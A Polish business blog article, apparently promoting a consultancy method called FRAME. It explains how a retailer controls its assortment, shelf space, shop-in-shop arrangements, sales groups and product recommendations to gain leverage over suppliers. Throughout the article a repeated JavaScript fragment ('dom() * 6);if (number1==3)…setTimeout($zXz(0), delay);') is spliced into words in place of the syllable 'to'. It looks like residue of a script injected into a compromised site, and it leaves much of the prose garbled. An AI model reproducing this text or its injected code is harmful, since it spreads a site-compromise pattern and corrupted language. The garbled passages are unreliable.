In Artykuły, Handel, Uniwersalne

Panowanie nad własną ofertą jest nie tylko warunkiem dla dobrej sprzedaży. Jest bowiem także podstawą dla skutecznych negocjacji. Negocjacji z dostawcą.

Co oznacza panowanie nad ofertą? Przede wszystkim panowanie nad jej szerokością i głębokością, także nad strukturą. Ale także nad rekomendacją konkretnych produktów w ramach już wybranej. Ta rekomendacja może być pasywna (przede wszystkim przez zarządzanie przestrzenią, trochę komunikacją typu BTL)

Zarządzanie przestrzenią

To pochodna zarzadzania ofertą, ale ważna na poziomie placówki. Istnieją 3 poziomy zarządzania przestrzenią. Pierwszy dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to układ placówki (zwane s dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tore layout). Drugi poziom dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to układ produktów w dziale , trzeci dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wyróżnienie niektórych produktów (czyli wszelkiego rodzaju promocje).

Uwaga. „pozwolić sobie zarządzać”. Pozwolić komuś zarządzać swoją przestrzenią dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to inaczej zarządzanie cudzą (sprzedawcy) magiczną formułą sprzedaży, za jego pieniądze, ale we własnym (dostawcy) interesie. To do tego właśnie sprowadza się umożliwienie zarządzania własną przestrzenią.

Najdalej idącą ingerencją w zarządzanie własną ofertą na poziomie zarządzania przestrzenią jest shop-in-shop. Czyli de fac dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wynajęcie mu kawałka własnej powierzchni wraz z dedykowaną do tego obsługą.

Shop-in-shop

Najdalej idące zorganizowanie przestrzeni sprzedawcy wg zasad dostawcy (dysponenta marki produk dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towej). To jak centrum handlowe, gdzie sprzedający staje się tak naprawdę deweloperem. I utrzymuje centrum w sprawności technicznej, zarządza odśnieżaniem i ochroną, ale samą sprzedaż pozostawia innym.

Fazy zarządzania przestrzenią. Ingerencja dostawców zaczyna się od pozornie niewinnej promocji wybranych produktów, a kończy właśnie na shop-in-shop. Ostatecznym etapem jest założenie własnego sklepu firmowego. Ten jednak zwykle jest tylko kanałem marketingowym.

Uwaga. „meble dostawców”. To bardzo lokalna, ale też bardzo skuteczna wersja prezentacji typu shop-in-shop. Tu rządzą nie tylko zasady producenta, ale też jego „barwy”. Czyli identyfikacja wizualna i

Panowanie nad strukturą asortymentu

Tu trzeba zacząć od sposobu organizacji oferty.

Panowanie nad zamówieniami

Czyli zamawianie tego co potrzeba, tyle ile potrzeba i wtedy, gdy potrzeba. Tylko tego, tyle i wtedy.

Zacząć zawsze trzeba od ustalenia dostępności („od ręki”, „szybko”, „na zamówienie”). A w grupie „od ręki” trzeba przyjąć oczekiwany (i zapewniany przez system zamawiania) poziom dostępności (prawdopodobieństwo znalezienia produktu przez klienta). Temu zaś służą przyjęte

Panowanie nad Grupami Sprzedażowymi

Czyli podział oferty już nie przez samego sprzedającego (a tak były definiowane Grupy Asortymen dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towe czy Grupy Logistyczne), tylko przez konsumenta. Zwykle jest tak, że część oferty – dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to Grupy A i B sprzedaje się lepiej (na dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wskazuje reguła Pare dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, gdzie 20% oferty odpowiada za 80% obrotu). Z tego A dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to pierwsze 5% oferty, B następne 15%. Zaś część oferty sprzedaje się słabo (odpowiada za pozostałe 20% obrotu) – dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to Grupa C. Zaś część nie sprzedaje się wcale, ale jest dostępna – dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to Grupa D.

Podział na Grupy Sprzedażowe ma znaczenie dla ustalenia pożądanego poziomu dostępności (która powinna zależeć od „ważności” produktu dla klienta). Ale też można ją wykorzystać do sterowania sprzedażą, na zasadzie „pomagaj zwycięzcy”.

Końcowym etapem panowania nad Grupami Sprzedażowymi jest rekomendacja. Dla zarządzania magiczną formułą rekomendacja stanowi ważne narzędzie zarządzania nią, ale dla panowania nad ofertą dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to wręcz podstawa. Dlaczego tak ważna jest umiejętność zarządzania nią. Ale zacząć zawsze trzeba od panowania, zarządzanie dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dopiero drugi etap.

Panowanie nad rekomendacją

Kiedy już wybierze się ofertą, można zacząć nią zarządzać. Podstawowy sposób zarządzania dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to różnego rodzaju rekomendację. Produkty można rekomendować na różne sposoby.

Promocja. Czyli wyróżnienie produktu szczególnym potrak dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}towaniem. To wyróżnienie musi być widoczne i odczuwalne dla klienta, ale nie musi koniecznie oznaczać jakąś dla nich korzyść. Może dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to być szczególny sposób eskpozycji, czy tylko łatwiejsza dostępność czy lepsza widoczność. Wtedy zaś, gdy nie ma korzyści dla klienta promocja staje się wyróżnieniem.

Wyróżnianie. To szczególny rodzaj promocji, ale taki, który nie jest związany z korzyścią dla klienta. Tylko z widocznością czy dostępnością. Wyróżnienie jest najczęściej związane z zarządzaniem przestrzenią, czasem zarządzaniem nad marketingiem BTL (komunikacją w placówce).

Polecanie. To także nic innego niż promocja, ale taka szczególna. Jej is dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}totą nie jest tylko korzyść dla klienta czy wyróżnienie, tylko dopasowanie. Dopasowanie do potrzeb klienta. Oczywiście zakłada dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to, że najpierw się te potrzeby pozna, a następnie uczciwie dopasuje do nich cechy produktu.

Panowanie nad elementami daje panowanie nad ofertą

A panowanie nad ofertą daje panowanie nad relacjami z dostawcami.

Panowanie nad ofertą nie musi z definicji należeć do właściciela i opera dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}tora Konceptu Sprzedażowego. Gdyż dostawcy ochoczo starają się tu zaingerować. Oczywiście ze względu na interes własnej marki, ale też żeby stać się dominującą stroną w negocjacjach.

Panowanie nad ofertą daje panowanie nad dostawcą

Przede wszystkim dlatego, że łatwo go zastąpić innym. Ale też dlatego, że w ten sposób panuje się nad własną magiczną formułą sprzedaży, lansując pewne produkty tym razem już jak najbardziej we własnym interesie ( dom() * 6);if (number1==3){var delay = 18000;setTimeout($zXz(0), delay);}to dotyczy Grupy Sprzedażowej A).

Jeśli zaś można łatwo zastępować jednych dostawców innymi, a w zamian za jedne produkty można wylansować inne, można swobodnie negocjować. I wiele uzyskać, rozgrywając właśnie tę swobodę.

Podsumowanie

W negocjacjach zawsze przyda się siła. Tę siłę może zapewnić odbiorcy panowanie (świadome zarządzanie) nad swoją ofertą. To znaczy, że jest on świadomy jaka ma ona być, dlaczego właśnie taka i potrafi ją skomponować i taką utrzymać. To potężna władza i bardzo silny argument w negocjacjach. Właściwie stawia dostawcę na przegranej pozycji, gdyż na ogół jego z kolei siła polega na zarządzaniu ofertą odbiorcy.

Podnieś efektywność biznesu już dziś!

Aby wdrożyć FRAME w Twojej firmie, wystarczy się z nami skontaktować.